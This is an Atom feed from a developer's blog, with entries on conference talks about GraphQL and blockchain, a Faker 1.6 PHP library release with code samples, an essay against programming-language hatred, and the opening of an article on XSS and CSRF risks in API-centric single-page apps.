<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>François Zaninotto</title>
 <link href="http://www.redotheweb.com/atom.xml" rel="self"/>
 <link href="http://www.redotheweb.com/"/>
 <updated>2018-07-17T21:33:20+00:00</updated>
 <id>http://redotheweb.com/</id>
 <author>
   <name>François Zaninotto</name>
 </author>

 
 <entry>
   <title>[Video][Fr] GraphQL, l'avenir du REST?</title>
   <link href="http://www.redotheweb.com/2017/11/17/graphql-avenir-du-rest.html"/>
   <updated>2017-11-17T00:00:00+00:00</updated>
   <id>http://www.redotheweb.com/2017/11/17/graphql-avenir-du-rest</id>
   <summary>La montée des architectures API centric et microservices a consacré REST comme champion des formats d'échange de données. Mais REST a plein de défauts, notamment sur mobile. Découvrez GraphQL, le format qui pourrait bien surpasser REST pour les 10 prochaine années.&quot;</summary>
   <content type="html">
    <![CDATA[
    <p>Cette année, j’ai donné une conférence de vulgarisation au sujet de GraphQL à <a href="http://www.blendwebmix.com/programme/graphql-lavenir-rest-2/">BlendWebMix Lyon</a> et au <a href="https://joind.in/event/forum-php-2017/graphql-la-relve-de-rest-">Forum PHP Paris</a>, deux excellentes conférences, bien rôdées et populaires, que je ne peux que recommander. <a href="https://twitter.com/gildaspk">Gildas Garcia</a> m’a secondé pour présenter la conférence à Lyon.</p>

<p>Si vous ne connaissez pas GraphQL, dites-vous que c’est peut-être le successeur du format REST, le champion actuel des formats d’échange de données. Ma conférence n’était pas une évangélisation, mais un état des lieux impartial, sans concession et à l’abri des effets de mode. Rassurez-vous, c’est aussi distrayant !</p>

<p>Alors pour savoir si vous devez utiliser GraphQL dans votre prochain projet web, coupez le téléphone et regardez la vidéo (40 minutes) de la conférence, captée à BlendWebMix :</p>

<iframe src="//www.slideshare.net/slideshow/embed_code/key/u8VtxVBB0uYh6O" width="595" height="485" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;" allowfullscreen=""> </iframe>
<div style="margin-bottom:5px"> <strong> <a href="//www.slideshare.net/francoisz/graphql-lavenir-du-rest" title="GraphQL, l&#x27;avenir du REST ?" target="_blank">GraphQL, l&#x27;avenir du REST ?</a> </strong> from <strong><a href="https://www.slideshare.net/francoisz" target="_blank">Francois Zaninotto</a></strong> </div>

<p>Si vous avez des questions, des commentaires, des objections, n’hésitez pas à utiliser la boite de commentaires ci-dessous.</p>

<p>Merci encore aux organisateurs de Blend et du Forum PHP. L’accueil était, comme toujours, au top. J’ai passé un excellent moment, et les retours du public n’y étaient pas pour rien. Rendez-vous dans une prochaine conférence !</p>

    ]]>
   </content>
 </entry>
 
 <entry>
   <title>[Video][Fr] La blockchain, quand l'individu sert au collectif... malgré lui</title>
   <link href="http://www.redotheweb.com/2016/11/24/blockchain-conference.html"/>
   <updated>2016-11-24T00:00:00+00:00</updated>
   <id>http://www.redotheweb.com/2016/11/24/blockchain-conference</id>
   <summary>La blockchain, tout le monde en parle mais qu'est-ce que c'est, comment ça marche, et à quoi ça sert ? Et si la blockchain était le déclencheur d'un profond changement de société ? Sans langue de bois, avec des exemples concrets et plein de dessins, cette conférence vous aidera à vous décider si vous avez intérêt à parier sur cette technologie dans les années à venir.&quot;</summary>
   <content type="html">
    <![CDATA[
    <p>J’étais à <a href="https://www.paris-web.fr/2016/conferences/la-blockchain-quand-lindividu-sert-au-collectif-malgre-lui.php">Paris Web 2016</a> et <a href="http://www.blendwebmix.com/">BlendWebMix 2016</a>, deux cycles de conférences généralistes autour du monde du web. J’ai eu le plaisir d’y présenter une nouvelle conférence sur le thème de la blockchain. La blockchain, tout le monde en parle mais qu’est-ce que c’est, comment ça marche, et à quoi ça sert ? Et si la blockchain était le déclencheur d’un profond changement de société ?</p>

<p>Sans langue de bois, avec des exemples concrets et plein de dessins, cette conférence vous aidera à vous décider si vous avez intérêt à parier sur cette technologie dans les années à venir.</p>

<p>Pour la découvrir, voici la vidéo en intégralité (50 minutes), ainsi que les slides commentés.</p>

<iframe src="//www.slideshare.net/slideshow/embed_code/key/A2PFTEPM2GypEk" width="595" height="485" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;" allowfullscreen=""> </iframe>
<div style="margin-bottom:5px"> <strong> <a href="//www.slideshare.net/francoisz/la-blockchain-quand-lindividu-sert-au-collectif-malgr-lui" title="La blockchain, quand l&#x27;individu sert au collectif... malgré lui" target="_blank">La blockchain, quand l&#x27;individu sert au collectif... malgré lui</a> </strong> from <strong><a target="_blank" href="//www.slideshare.net/francoisz">Francois Zaninotto</a></strong> </div>

<p>Ma position sur la blockchain va à rebours de l’opinion générale. Vous êtes d’accord ? Pas d’accord ? Réagissez dans les commentaires ci-dessous.</p>

<p>Un grand merci aux organisateurs de ces deux conférences, à la logistique impeccable et à la gentillesse infinie. Merci au public venu nombreux, et à bientôt pour une nouvelle conférence !</p>

    ]]>
   </content>
 </entry>
 
 <entry>
   <title>[Video][Fr] Le jeu vidéo à la rescousse du web</title>
   <link href="http://www.redotheweb.com/2016/06/20/le-jeu-video-a-la-rescousse-du-web.html"/>
   <updated>2016-06-20T00:00:00+00:00</updated>
   <id>http://www.redotheweb.com/2016/06/20/le-jeu-video-a-la-rescousse-du-web</id>
   <summary>Saviez vous que les architectures web modernes s'inspirent beaucoup de la façon dont sont développés les jeux vidéos ? La preuve en 35 minutes de conférence, donnée au PHP Tour en mai 2016 à Clermont-Ferrand.</summary>
   <content type="html">
    <![CDATA[
    <p>Lors du <a href="http://event.afup.org/php-tour-2016/home-phptour-2016/">PHP Tour 2016</a> à Clermont-Ferrand, le 23 mai dernier, j’ai présenté une nouvelle conférence sur le thème des nouvelles architectures d’applications web. Dans ces nouvelles architectures, on retrouve de plus en plus d’idées issues du monde du jeu vidéo. Pour les découvrir, voici la vidéo en intégralité (54 minutes).</p>

<iframe width="560" height="315" src="//www.youtube.com/embed/tIlQCIz9XF8" frameborder="0" allowfullscreen=""></iframe>

<p>Et voici le support de la présentation :</p>

<iframe src="//www.slideshare.net/slideshow/embed_code/key/6rurKr02A1WbU8" width="595" height="485" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;" allowfullscreen=""> </iframe>

<p>Si vous êtes d’accord, si vous n’êtes pas d’accord, si vous voulez ajouter quelque chose, je vous invite à poster un commentaire ci-dessous, ou <a href="https://joind.in/event/php-tour-clermont-ferrand-2016/le-jeu-vido--la-rescousse-du-web">sur joind.in</a>.</p>

<p>Merci à l’AFUP et à tous les volontaires pour l’organisation, comme toujours au top. Et merci au public pour son soutien et sa tolérance pour un talk qui ne parle pas de PHP dans une conférence PHP!</p>

    ]]>
   </content>
 </entry>
 
 <entry>
   <title>Faker 1.6 is Released</title>
   <link href="http://www.redotheweb.com/2016/04/29/faker-1-6.html"/>
   <updated>2016-04-29T00:00:00+00:00</updated>
   <id>http://www.redotheweb.com/2016/04/29/faker-1-6</id>
   <summary>The yearly update for Faker, the fake data generator for PHP, just came out. More locales, with better quality content, and a few new formatters, are all good reasons to upgrade.</summary>
   <content type="html">
    <![CDATA[
    <p>Yep, it’s here. Almost a year after <a href="http://redotheweb.com/2015/05/29/faker-15-is-released.html">the previous release</a>, Faker 1.6 has been released, with a ton and a half of new fake data, ridiculously useful new formatters, new locales, and bug fixes. Of course, it’s totally backwards compatible with the previous version. Ready to dive in?</p>

<h2 id="new-formatters">New Formatters</h2>

<p>Faker 1.6 includes a bunch of new formatters, to help you generate even more data types:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">e164PhoneNumber</span><span class="p">()</span>    <span class="c1">// '+27113456789'
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">jobTitle</span><span class="p">()</span>           <span class="c1">// 'Cashier'
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">dateTimeInInterval</span><span class="p">(</span><span class="nv">$startDate</span> <span class="o">=</span> <span class="s1">'-30 years'</span><span class="p">,</span> <span class="nv">$interval</span> <span class="o">=</span> <span class="s1">'+ 5 days'</span><span class="p">,</span> <span class="nv">$timezone</span> <span class="o">=</span> <span class="nb">date_default_timezone_get</span><span class="p">())</span> <span class="c1">// DateTime('2003-03-15 02:00:49', 'Antartica/Vostok')
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">iban</span><span class="p">(</span><span class="nv">$countryCode</span><span class="p">)</span>   <span class="c1">// 'IT31A8497112740YZ575DJ28BP4'
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">swiftBicNumber</span>       <span class="c1">// 'RZTIAT22263'
</span></code></pre></div></div>

<p>Not to mention the myriad of <a href="https://github.com/fzaninotto/Faker#language-specific-formatters">locale-specific formatters</a> that grow at each release.</p>

<h2 id="new-valid-modifier">New <code class="highlighter-rouge">valid()</code> Modifier</h2>

<p>If you want to generate random data matching special format validators, this modifier is a perfect fit:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="c1">// valid() only accepts valid values according to the passed validator functions
</span><span class="nv">$values</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
<span class="nv">$evenValidator</span> <span class="o">=</span> <span class="k">function</span><span class="p">(</span><span class="nv">$digit</span><span class="p">)</span> <span class="p">{</span>
 <span class="k">return</span> <span class="nv">$digit</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">===</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="mi">10</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
 <span class="nv">$values</span> <span class="p">[]</span><span class="o">=</span> <span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">valid</span><span class="p">(</span><span class="nv">$evenValidator</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">randomDigit</span><span class="p">;</span>
<span class="p">}</span>
<span class="nb">print_r</span><span class="p">(</span><span class="nv">$values</span><span class="p">);</span> <span class="c1">// [0, 4, 8, 4, 2, 6, 0, 8, 8, 6]
</span>
<span class="c1">// just like unique(), valid() throws an overflow exception when it can't generate a valid value
</span><span class="nv">$values</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
<span class="k">try</span> <span class="p">{</span>
  <span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">valid</span><span class="p">(</span><span class="nv">$evenValidator</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">randomElement</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">9</span><span class="p">);</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">\OverflowException</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">echo</span> <span class="s2">"Can't pick an even number in that set!"</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="new-orm-support">New ORM Support</h2>

<p>Faker could already create entities/records for Doctrine, Propel, Mandango and CakePHP. With version 1.6, Faker now offers ORM populators for <a href="http://propelorm.org/">Propel2</a> and <a href="http://phpdatamapper.com/">Spot</a>. The syntax is similar to the one used for other ORMs:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$generator</span> <span class="o">=</span> <span class="nx">\Faker\Factory</span><span class="o">::</span><span class="na">create</span><span class="p">();</span>
<span class="nv">$populator</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Faker\ORM\Propel2\Populator</span><span class="p">(</span><span class="nv">$generator</span><span class="p">);</span>
<span class="nv">$populator</span><span class="o">-&gt;</span><span class="na">addEntity</span><span class="p">(</span><span class="s1">'Author'</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
<span class="nv">$populator</span><span class="o">-&gt;</span><span class="na">addEntity</span><span class="p">(</span><span class="s1">'Book'</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="k">array</span><span class="p">(</span>
  <span class="s1">'ISBN'</span> <span class="o">=&gt;</span> <span class="k">function</span><span class="p">()</span> <span class="k">use</span> <span class="p">(</span><span class="nv">$generator</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$generator</span><span class="o">-&gt;</span><span class="na">ean13</span><span class="p">();</span> <span class="p">}</span>
  <span class="s1">'CreatedAt'</span> <span class="o">=&gt;</span> <span class="kc">null</span><span class="p">,</span>
  <span class="s1">'UpdatedAt'</span> <span class="o">=&gt;</span> <span class="kc">null</span><span class="p">,</span>
<span class="p">),</span> <span class="p">,</span> <span class="k">array</span><span class="p">(</span>
  <span class="k">function</span><span class="p">(</span><span class="nv">$book</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$book</span><span class="o">-&gt;</span><span class="na">publish</span><span class="p">();</span> <span class="p">},</span>
<span class="p">));</span>
<span class="nv">$insertedPKs</span> <span class="o">=</span> <span class="nv">$populator</span><span class="o">-&gt;</span><span class="na">execute</span><span class="p">();</span>
<span class="nb">print_r</span><span class="p">(</span><span class="nv">$insertedPKs</span><span class="p">);</span>
<span class="c1">// array(
//   'Author' =&gt; (34, 35, 36, 37, 38),
//   'Book'   =&gt; (456, 457, 458, 459, 470, 471, 472, 473, 474, 475)
// )
</span></code></pre></div></div>

<h2 id="new-locales">New Locales</h2>

<p>Faker grows in every part of the planet. Contributors from more than 59 different languages or countries (locales, in fact) have helped make Faker a true polyglot. Faker 1.6 introduces 9 new locales:</p>

<ul>
  <li>Arabian Saudi Arabia (<code class="highlighter-rouge">ar_SA</code>)</li>
  <li>Swiss High German (<code class="highlighter-rouge">de_CH</code>)</li>
  <li>English for India (<code class="highlighter-rouge">en_IN</code>)</li>
  <li>English for Singapore (<code class="highlighter-rouge">en_SG</code>)</li>
  <li>Franch for Switzerland (<code class="highlighter-rouge">fr_CH</code>)</li>
  <li>Hebrew for Istrael (<code class="highlighter-rouge">he_IL</code>)</li>
  <li>Croatian (<code class="highlighter-rouge">hr_HR</code>)</li>
  <li>Italian for Switzerland (<code class="highlighter-rouge">it_CH</code>)</li>
  <li>Lithuanian (<code class="highlighter-rouge">lt_LT</code>)</li>
</ul>

<p>Besides, the Norwegian locale was renamed from <code class="highlighter-rouge">nb_NO</code> (which doesn’t exist) to <code class="highlighter-rouge">no_NO</code></p>

<h2 id="so-many-contributors">So Many Contributors</h2>

<p>More and more people contribute to Faker, and more and more often. Since Faker 1.5, not less than <strong>73 contributors</strong> chose to share their code with the Faker project. It’s just astounding. Let me list them all, and give them a huge <strong>thank you</strong>:</p>

<p><a href="https://github.com/aivus">aivus</a> <a href="https://github.com/ajbdev">ajbdev</a> <a href="https://github.com/alesf">alesf</a> <a href="https://github.com/AlexCutts">AlexCutts</a> <a href="https://github.com/ankitpokhrel">ankitpokhrel</a> <a href="https://github.com/asika32764">asika32764</a> <a href="https://github.com/behramcelen">behramcelen</a> <a href="https://github.com/belendel">belendel</a> <a href="https://github.com/bessl">bessl</a> <a href="https://github.com/byan">byan</a> <a href="https://github.com/daveblake">daveblake</a> <a href="https://github.com/deerawan">deerawan</a> <a href="https://github.com/denheck">denheck</a> <a href="https://github.com/DIOHz0r">DIOHz0r</a> <a href="https://github.com/endelwar">endelwar</a> <a href="https://github.com/fonsecas72">fonsecas72</a> <a href="https://github.com/gido">gido</a> <a href="https://github.com/gietos">gietos</a> <a href="https://github.com/glagola">glagola</a> <a href="https://github.com/GrahamCampbell">GrahamCampbell</a> <a href="https://github.com/halaxa">halaxa</a> <a href="https://github.com/huy95">huy95</a> <a href="https://github.com/igorsantos07">igorsantos07</a> <a href="https://github.com/ihsanudin">ihsanudin</a> <a href="https://github.com/ikwattro">ikwattro</a> <a href="https://github.com/ivanmirson">ivanmirson</a> <a href="https://github.com/jadb">jadb</a> <a href="https://github.com/JasonMortonNZ">JasonMortonNZ</a> <a href="https://github.com/JeroenDeDauw">JeroenDeDauw</a> <a href="https://github.com/JonathanKryza">JonathanKryza</a> <a href="https://github.com/julien-c">julien-c</a> <a href="https://github.com/killerog">killerog</a> <a href="https://github.com/kix">kix</a> <a href="https://github.com/kletellier">kletellier</a> <a href="https://github.com/kumamidori">kumamidori</a> <a href="https://github.com/lintaba">lintaba</a> <a href="https://github.com/Lisso-Me">Lisso-Me</a> <a href="https://github.com/lperto">lperto</a> <a href="https://github.com/MatissJanis">MatissJanis</a> <a href="https://github.com/miclf">miclf</a> <a href="https://github.com/mikehaertl">mikehaertl</a> <a href="https://github.com/nazar-pc">nazar-pc</a> <a href="https://github.com/netcarver">netcarver</a> <a href="https://github.com/pauledenburg">pauledenburg</a> <a href="https://github.com/paulvalla">paulvalla</a> <a href="https://github.com/pearlc">pearlc</a> <a href="https://github.com/phaza">phaza</a> <a href="https://github.com/philsturgeon">philsturgeon</a> <a href="https://github.com/piotrantosik">piotrantosik</a> <a href="https://github.com/Ragazzo">Ragazzo</a> <a href="https://github.com/ronanguilloux">ronanguilloux</a> <a href="https://github.com/schmengler">schmengler</a> <a href="https://github.com/semanser">semanser</a> <a href="https://github.com/SpaceK33z">SpaceK33z</a> <a href="https://github.com/stelgenhof">stelgenhof</a> <a href="https://github.com/stof">stof</a> <a href="https://github.com/stoutZero">stoutZero</a> <a href="https://github.com/svrnm">svrnm</a> <a href="https://github.com/swekaj">swekaj</a> <a href="https://github.com/terion-name">terion-name</a> <a href="https://github.com/tharoldD">tharoldD</a> <a href="https://github.com/TimWolla">TimWolla</a> <a href="https://github.com/TomasVotruba">TomasVotruba</a> <a href="https://github.com/TomK">TomK</a> <a href="https://github.com/totophe">totophe</a> <a href="https://github.com/tzhuan">tzhuan</a> <a href="https://github.com/ulrikjohansson">ulrikjohansson</a> <a href="https://github.com/wizardjedi">wizardjedi</a> <a href="https://github.com/YerlenZhubangaliyev">YerlenZhubangaliyev</a> <a href="https://github.com/ysramirez">ysramirez</a> <a href="https://github.com/ZAYEC77">ZAYEC77</a> <a href="https://github.com/zoli">zoli</a> <a href="https://github.com/zrashwani">zrashwani</a></p>

<p>You can see the integral list of changes in <a href="https://github.com/fzaninotto/Faker/blob/master/CHANGELOG.md">the CHANGELOG file</a>.</p>

<h2 id="one-last-word">One Last Word</h2>

<p>Randomness is ultra hype these days. With the proper random SHA256 hash, you can earn more than $10,000 by <a href="http://marmelab.com/blog/2016/04/28/blockchain-for-web-developers-the-theory.html">generating a bitcoin block</a>. Faker allows you to do it in an extremely elegant (albeit absolutely not performant) way, using Flaubert’s <em>Madame Bovary</em> as a source of randomness:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="k">const</span> <span class="no">DIFFICULTY</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nv">$faker</span> <span class="o">=</span> <span class="nx">Faker\Factory</span><span class="o">::</span><span class="na">create</span><span class="p">(</span><span class="s1">'fr_FR'</span><span class="p">);</span>
<span class="nv">$pattern</span> <span class="o">=</span> <span class="nb">str_repeat</span><span class="p">(</span><span class="s1">'0'</span><span class="p">,</span> <span class="nx">DIFFICULTY</span><span class="p">);</span>
<span class="nv">$i</span><span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">seed</span><span class="p">(</span><span class="nv">$i</span><span class="o">++</span><span class="p">);</span>
    <span class="nv">$hash</span> <span class="o">=</span> <span class="nb">hash</span><span class="p">(</span><span class="s1">'sha256'</span><span class="p">,</span> <span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">realText</span><span class="p">());</span>
    <span class="k">if</span> <span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$hash</span><span class="p">,</span> <span class="nv">$pattern</span><span class="p">)</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">echo</span> <span class="nv">$i</span><span class="p">,</span> <span class="s2">" "</span><span class="p">,</span> <span class="nv">$hash</span><span class="p">,</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>52 00e132fc0f200ab2971f3c0f7408f5b779e819c3790801e2b5b1188ec6f51719
334 0052addd18677d04f57635eea602f46b4b8920f66216616ad12c912e78f4336f
562 0063a44ba60e9f872500c4b7976b90341c8b732edbcf3f918b8e374397fadc7f
1529 0012b07697882f6f48d64360563ab0336b7c41e6828add322703a45e6de770e8
1816 009832c52e63eeab7a8f43d43bade40fadf014aeccface6987923d317cc50d65
2033 000b52e38383a9306dc6bba878ba94b42f16dce98ff3dced9909899b1da812c9
2352 004223846a104f8c5b68afebe9fb30fd840cf075485e0ed5d19d24bfcdecc787
2394 00e643d56d201e17658cf5161f03afc0b125ce82be09f386bfb46700a34a4fb0
2449 00a28bc6fe0ecdfd41585682b4d1208ce3839ebd5e38471c5f07e32fd5f73e66
2614 009f5fe203eecd93aaebac414906c86fcef9675a7336b849d777d8c9831fcbf7
2744 00c11d561714aed4ea0b117f204954eebf27c006ff513435cb8f9f0fff9847d1
2837 00f6e29b6117ca940b7e3fe2e7a3939299e5cf3c690101ff02cfc6ee30689900
...
</code></pre></div></div>

<p>Happy Fake Mining!</p>

    ]]>
   </content>
 </entry>
 
 <entry>
   <title>"I Hate JavaScript"</title>
   <link href="http://www.redotheweb.com/2015/12/04/i-hate-havascript.html"/>
   <updated>2015-12-04T00:00:00+00:00</updated>
   <id>http://www.redotheweb.com/2015/12/04/i-hate-havascript</id>
   <summary>Oh really, you hate JavaScript? Or maybe you hate PHP? Or a specific framework for a specific language. Let me challenge that hate. Or better, let me talk about love instead.</summary>
   <content type="html">
    <![CDATA[
    <p><a data-flickr-embed="true" href="https://www.flickr.com/photos/procsilas/131462019" title="you choose"><img src="https://farm1.staticflickr.com/48/131462019_36bb4ce0c0_b.jpg" class="medium" alt="you choose" /></a><script async="" src="//embedr.flickr.com/assets/client-code.js" charset="utf-8"></script></p>

<p>I’ve heard that sentence a lot during <a href="http://pariscon2015.symfony.com">the latest PHP conference I attended</a>. I also heard “I hate PHP” many times during <a href="http://www.dotjs.io">JavaScript conferences</a>. And don’t get me started on Python developers, who seem to despise anything that doesn’t have <a href="https://www.python.org/dev/peps/pep-0020/">“The Zen”</a>.</p>

<p>It makes me sad.</p>

<h2 id="you-dont-know-what-you-hate">You Don’t Know What You Hate</h2>

<p>“<em>I hate JavaScript: it’s spaghetti code all over, with all these callbacks and events and whatnot</em>”. Well, you don’t hate JavaScript, you hate poor jQuery code. Take a look at how people write modern JavaScript (<a href="https://facebook.github.io/react/">React</a>/<a href="http://redux.js.org/">Redux</a> is a great example).</p>

<p>“<em>I hate Node.js: it’s based on a language that was written in 10 days by a guy called Brendan</em>”. Wake up dude, JavaScript has evolved a lot since then. Take a look at <a href="https://babeljs.io/docs/learn-es2015/">ES2015</a>, it’s a joy to read and write.</p>

<p>“<em>I hate PHP, it has curly braces</em>”. It also has some of the most active open-source communities, <a href="http://symfony.com">awesome frameworks</a> and libraries, maintained for real by passionate and skilled developers.</p>

<p>“<em>I hate PHP, it’s so slow</em>”. Unless you learn to profile your code correctly, and detect the bottlenecks you added by mistake, or switch to a faster implementation (PHP7, HHVM). Did you know that <a href="https://www.facebook.com/notes/facebook-engineering/speeding-up-php-based-development-with-hiphop-vm/10151170460698920">PHP powers Facebook</a>?</p>

<p>“<em>I hate PHP, it doesn’t handle asynchronicity/channels/functional programming</em>”. What if the programs written in PHP don’t actually need to deal with that?</p>

<p>My point is: ALL the people I hear saying that they hate a language hate it for the wrong reasons. By expressing their hate, they mostly show their incompetence.</p>

<h2 id="haters-gonna-hate">Haters Gonna Hate</h2>

<p>Haters don’t need another language to hate. Alternative frameworks are perfect targets, too. “Laravel is crap, it’s so much worse than Symfony”. And even if your neighbor uses the same framework as you do, you’ll probably look disgusted when you see that they chose the “FooBar” authentication plugin for that framework.</p>

<p>Did you notice? The first thing many developers do when they open a source file that they didn’t write themselves is to say: “Ew, this is crap” - even if it’s using their preferred technology stack. It sometimes happen when they open a script they wrote themselves a couple years ago, too.</p>

<p>That’s just snobbery. Maybe those developer don’t just hate PHP. Maybe they hate programming. Maybe they just hate.</p>

<p>It reminds me of these countryside villagers who hate the people from the closest village just because they live a few kilometers away from each other. In a hyperconnected world, this sounds stupid, don’t you think? Well, that Laravel developer is your neighbor. Maybe he didn’t choose where he was born, but he grew up to learn and love the place. I don’t see anything bad about that.</p>

<h2 id="there-is-no-silver-bullet">There Is No Silver Bullet</h2>

<p>Why are there so many programming languages? Because we need them.</p>

<p>Some languages are easy to learn, some have built-in concurrency support, some are completely object-oriented, some are compiled, some are statically typed, etc. Just like there is an infinity of project types, and an infinity of programmer types, we need diversity in programming languages.</p>

<p>Oh, and if there was one language so much better than all the others, don’t you think that the entire world would already be using only this language? Right, <a href="https://en.wikipedia.org/wiki/Comparison_of_programming_languages">that didn’t happen</a>.</p>

<h2 id="we-cant-stick-to-a-single-programming-language-for-our-entire-life">We Can’t Stick To A Single Programming Language For Our Entire Life</h2>

<p>So you’re convinced that Ruby on Rails is the single and only tool that you’ll ever use, because it does everything, and it does everything right.</p>

<p>Fast-forward 20 years from now. The only projects you’re working on are legacy programs that nobody wants to maintain anymore. Modern languages offer higher abstraction levels, and every normal programmer now considers Ruby on Rails the same way you used to consider Assembly. You now picture yourself as a <a href="https://www.google.com/search?q=cobol+developer&amp;tbm=isch">Cobol developer</a>. You’re still far from being retired, but you’re already a <em>has been</em>.</p>

<p>Let’s go back to today. The MVC architecture, once a (rediscovered) breakthrough for web applications, makes little sense when all you need is a storage layer exposed over HTTP. Full-stack frameworks were a great fit for monolith applications. But for API-centric architectures, maybe we need to find other tools. Good practices evolve, languages evolve, customers ask for new things (real time communication, rich UX, AI, mobile apps, you name it), so programmers must evolve, too.</p>

<h2 id="learn-to-love-the-tech-differences">Learn To Love the (Tech) Differences</h2>

<p>We can learn something new from every language. <a href="http://www.scala-lang.org/">Scala</a> makes functional programming obvious. <a href="https://facebook.github.io/flux/">Flux</a> simplifies the update workflow of user interfaces like never before. <a href="http://www.pcsoft.fr/windev/">WinDev</a> uses French to name functions, which is great for programmers who never learned English. When I meet someone doing something else than what I do, I try to detect the good ideas, the good practices that I could reuse. I love to learn from other people’s experiences.</p>

<p>I dream about a tech conference that would not be centered around a particular technology. A tech conference mixing several developer cultures, without any preconception, but a single purpose: open our minds.</p>

<p>Stop hating. Start learning. Also, please, next time we meet, tell me what you love.</p>

<p><a data-flickr-embed="true" href="https://www.flickr.com/photos/75626794@N02/22613180594/in/pool-forumphp2015/" title="IMG_4369"><img src="https://farm1.staticflickr.com/567/22613180594_ee70f89b7c_b.jpg" class="medium" alt="IMG_4369" /></a><script async="" src="//embedr.flickr.com/assets/client-code.js" charset="utf-8"></script></p>

    ]]>
   </content>
 </entry>
 
 <entry>
   <title>Your API-Centric Web App Is Probably Not Safe Against XSS and CSRF</title>
   <link href="http://www.redotheweb.com/2015/11/09/api-security.html"/>
   <updated>2015-11-09T00:00:00+00:00</updated>
   <id>http://www.redotheweb.com/2015/11/09/api-security</id>
   <summary>As we're reinventing web applications with SPAs and frontend frameworks, we need to reinvent web application security, too.</summary>
   <content type="html">
    <![CDATA[
    <p>Most of the developments I’ve participated in recently follow the “single-page application based on a public API with authentication” architecture. Using Angular.js or React.js, and based on a RESTful API, these applications move most of the complexity to the client side.</p>

<p>But as we’re reinventing web applications, we need to reinvent web application security, too.</p>

<p>Is an API-centric architecture vulnerable to classic web applications attack vectors like XSS and CSRF? By default, yes it is. And securing a single page application is much less trivial than it seems. Let’s see that through an example.</p>

<h2 id="spa-authentication-using-an-api">SPA Authentication Using An API</h2>

<p>XSS and CSRF attacks make a web surfer execute nasty tasks on websites (like sending money to a stranger or leaking their credit card number) without being aware of it. These attacks only make sense in a secure application, i.e. an application where the surfer needs to authenticate first before accessing privileged data and actions.</p>

<p>So the heart of the problem lies around the process of authentication. How does it work in a single page app? Let’s call our web surfer Bob. Bob visits https://www.bobank.com to check his bank account. This domain serves only static files (html, js, and css) rendering in Bob’s browser. The JavaScript application, once started, asks Bob for his login and password. Then the application connects to https://api.bobank.com via AJAX, and sends Bob’s login and password. The API application verifies if Bob is Bob (<em>authentication</em>), generates a temporary token that it sends back to Bob. Bob must send this token each time it connects to the API. The API then checks the token, recognizes Bob, verifies if BOB has access to the resource he asks for (<em>authorization</em>), and sends the resource back to Bob.</p>

<p><img src="/images/bobank.png" title="Bob authenticates on bobank.com" class="medium" /></p>

<p>Sending the token is much safer than sending the login and password over and over again. The benefit of this approach is clear.</p>

<h2 id="ajax-with-remote-api-and-cors">AJAX With Remote API… and CORS</h2>

<p>How do Single Page Applications implement this exchange? To post the login and password to the <code class="highlighter-rouge">/authenticate</code> route in a SPA, you must use AJAX. Whether you use <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API"><code class="highlighter-rouge">fetch</code></a>, <a href="https://github.com/mgonto/restangular">Restangular</a>, <a href="https://github.com/marmelab/restful.js">Restful.js</a>, or plain XmlHttpRequest, the implementation is mostly the same.</p>

